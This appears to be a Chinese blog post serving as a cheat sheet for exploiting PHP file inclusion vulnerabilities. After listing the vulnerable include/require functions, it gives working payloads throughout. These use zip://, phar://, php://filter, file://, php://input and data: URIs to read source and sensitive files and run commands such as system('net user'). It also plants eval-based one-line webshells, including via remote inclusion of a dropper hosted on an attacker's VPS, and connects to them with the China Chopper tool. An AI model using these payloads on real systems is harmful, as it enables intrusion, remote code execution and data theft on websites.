来自恋安师傅的总结

php中易导致文件包含漏洞的几个函数总结:
===========================start=====================================
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次
===========================end======================================

php文件包含常用的几种协议总结
=======================start=========================================
(一)zip:// 协议和phar:// 协议(访问本地压缩文件)
1、zip://协议用法 (条件:allow_url_fopen=on/off allow_url_fopen=on/off)
白名单验证,只能上传.jpg、.jpeg后缀文件
1.把一句话木马2.php压缩成zip文件,然后改名为2.png,然后上传
下面的路径为xx.png的绝对路径
2.用菜刀去连http://xxxx/include.php?file=zip://绝对路径/xx.png#one,#号后面接压缩文件文件名,#要换 成%23的URL编码
重要很多时候改名后无效,那么就一个muma.php文件然后压缩成muma.zip,上传zip文件做出如下访问:
http://xxxx/include.php?file=zip://绝对路径/muma.zip#muma.php
如下面的例子
http://192.168.10.12/test/test_two.php?pg=zip://C:\phpStudy\PHPTutorial\WWW\test\upload\lianan.zip%23lianan.php

2、phar://协议用法 (allow_url_fopen=on/off allow_url_fopen=on/off)
phar:// 可以查找指定压缩包内的文件,可传入绝对和相对路径和zip://的区别一个是路径上的区别,另一个就是zip://协议只能传入绝对路径
123.zip中压缩了一个123.txt 那么构造包含如下:
绝对路径构造:
?参数=phar://C:\phpStudy\PHPTutorial\WWW\test\upload\123.zip\123.txt
相对路径构造:
?参数=phar://upload\123.zip\123.txt

(二) php://filter 协议和 file:// 协议 (访问本地文件)
1、php://filter协议 (条件:allow_url_fopen=on/off allow_url_fopen=on/off)
php://filter/
读取源代码
?file=php://filter/read=convert.base64-encode/resource=index.php
若是php语法文件可直接执行:
?file=php://filter/resource=muma.php

2、file:// 协议(条件:allow_url_fopen=on/off allow_url_fopen=on/off)
?参数=file://c:\boot.ini //通过file://读取敏感文件,此处参数名为page,按实际情况修改,后面跟绝对路径

(三)php://input 协议和 data 协议(可直接写入php代码)
1、php://input 协议(条件:allow_url_fopen=on/off allow_url_fopen=on)
php://input 包含
http://xxxx/include.php?file=php://input
POST如下数据库
<?php phpinfo(); ?>
或者POST如下:
<?php system(‘net user’);?>

2、data协议(一定注意data:后面有个空格) (条件:allow_url_fopen=on allow_url_fopen=on)
data: text/plain,<?php 执行内容 ?>
例子:
直接不落地搞webshell
?参数=data:%20text/plain,<?php%20eval($_POST[a]);?>
========================end=========================================

不通过协议直接包含总结如下:
============================start====================================
(一)、本地文件包含
<?PHP fputs(fopen(‘shell.php’,’w’),’<?php @eval($_POST[‘cmd’])?>’);?> //上传一句话木马,1.jpg,内容为此代码
?filename=../fileupload/uploads/1.jpg //然后通过本地包含文件漏洞将此文件当成php代码执行

(二)、远程文件包含
第一种代码: <?php echo file_put_contents(“muma.php”,”<?php @eval(\$POST[‘x’]); ?>”); ?>
第二种代码:
<?php
$a=”<?php @eval(\$_POST[‘x’]); ?>”;
$b=fopen(“muma.php”,”w”) or die(“Unable to open file!”);
fwrite($b,$a);
fclose($b);
?>
保存到VPS上,如1.txt
然后
地址栏输入
?参数=http://vps/1.txt
这样在当前目录就会生成一句话木马muma.php,使用中国菜刀连接
============================end=====================================


发表评论

电子邮件地址不会被公开。


CAPTCHA Image
Reload Image
皖ICP备18016857号-1